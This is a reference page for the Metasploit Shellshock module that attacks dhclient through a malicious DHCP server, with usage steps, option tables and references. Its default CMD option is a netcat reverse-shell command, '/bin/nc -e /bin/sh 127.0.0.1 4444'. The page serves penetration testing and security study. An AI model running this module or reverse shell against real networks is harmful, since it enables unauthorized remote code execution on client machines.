DHCP Client Bash Environment Variable Code Injection (Shellshock) - Metasploit


This page contains detailed information about how to use the auxiliary/server/dhclient_bash_env metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: DHCP Client Bash Environment Variable Code Injection (Shellshock)
Module: auxiliary/server/dhclient_bash_env
Source code: modules/auxiliary/server/dhclient_bash_env.rb
Disclosure date: 2014-09-24
Last modification time: 2021-01-28 10:35:25 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2014-6271

This module is also known as Shellshock.

This module exploits the Shellshock vulnerability, a flaw in how the Bash shell handles external environment variables. This module targets dhclient by responding to DHCP requests with a malicious hostname, domainname, and URL which are then passed to the configuration scripts as environment variables, resulting in code execution.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/server/dhclient_bash_env
msf auxiliary(dhclient_bash_env) > show targets
    ... a list of targets ...
msf auxiliary(dhclient_bash_env) > set TARGET target-id
msf auxiliary(dhclient_bash_env) > show options
    ... show and set options ...
msf auxiliary(dhclient_bash_env) > exploit

Required Options

  • SRVHOST: The IP of the DHCP server

  • NETMASK: The netmask of the local subnet

Go back to menu.

Msfconsole Usage

Here is how the server/dhclient_bash_env auxiliary module looks in the msfconsole:

msf6 > use auxiliary/server/dhclient_bash_env

msf6 auxiliary(server/dhclient_bash_env) > show info

       Name: DHCP Client Bash Environment Variable Code Injection (Shellshock)
     Module: auxiliary/server/dhclient_bash_env
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-09-24

Provided by:
  scriptjunkie
  apconole <[email protected]>
  Stephane Chazelas
  Ramon de C Valle <[email protected]>

Available actions:
  Name     Description
  ----     -----------
  Service  Run malicious DHCP server

Check supported:
  No

Basic options:
  Name         Current Setting                    Required  Description
  ----         ---------------                    --------  -----------
  BROADCAST                                       no        The broadcast address to send to
  CMD          /bin/nc -e /bin/sh 127.0.0.1 4444  yes       The command to run
  DHCPIPEND                                       no        The last IP to give out
  DHCPIPSTART                                     no        The first IP to give out
  DNSSERVER                                       no        The DNS server IP address
  FILENAME                                        no        The optional filename of a tftp boot server
  HOSTSTART                                       no        The optional host integer counter
  NETMASK                                         yes       The netmask of the local subnet
  ROUTER                                          no        The router IP address
  SRVHOST                                         yes       The IP of the DHCP server

Description:
  This module exploits the Shellshock vulnerability, a flaw in how the 
  Bash shell handles external environment variables. This module 
  targets dhclient by responding to DHCP requests with a malicious 
  hostname, domainname, and URL which are then passed to the 
  configuration scripts as environment variables, resulting in code 
  execution.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-6271
  https://cwe.mitre.org/data/definitions/94.html
  OSVDB (112004)
  https://www.exploit-db.com/exploits/34765
  https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
  https://seclists.org/oss-sec/2014/q3/649
  https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/

Also known as:
  Shellshock

Module Options

This is a complete list of options available in the server/dhclient_bash_env auxiliary module:

msf6 auxiliary(server/dhclient_bash_env) > show options

Module options (auxiliary/server/dhclient_bash_env):

   Name         Current Setting                    Required  Description
   ----         ---------------                    --------  -----------
   BROADCAST                                       no        The broadcast address to send to
   CMD          /bin/nc -e /bin/sh 127.0.0.1 4444  yes       The command to run
   DHCPIPEND                                       no        The last IP to give out
   DHCPIPSTART                                     no        The first IP to give out
   DNSSERVER                                       no        The DNS server IP address
   FILENAME                                        no        The optional filename of a tftp boot server
   HOSTSTART                                       no        The optional host integer counter
   NETMASK                                         yes       The netmask of the local subnet
   ROUTER                                          no        The router IP address
   SRVHOST                                         yes       The IP of the DHCP server

Auxiliary action:

   Name     Description
   ----     -----------
   Service  Run malicious DHCP server

Advanced Options

Here is a complete list of advanced options supported by the server/dhclient_bash_env auxiliary module:

msf6 auxiliary(server/dhclient_bash_env) > show advanced

Module advanced options (auxiliary/server/dhclient_bash_env):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the server/dhclient_bash_env module can do:

msf6 auxiliary(server/dhclient_bash_env) > show actions

Auxiliary actions:

   Name     Description
   ----     -----------
   Service  Run malicious DHCP server

Evasion Options

Here is the full list of possible evasion options supported by the server/dhclient_bash_env auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(server/dhclient_bash_env) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • scriptjunkie
  • apconole[at]yahoo.com
  • Stephane Chazelas
  • Ramon de C Valle

Version

This page has been produced using Metasploit Framework version 6.1.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.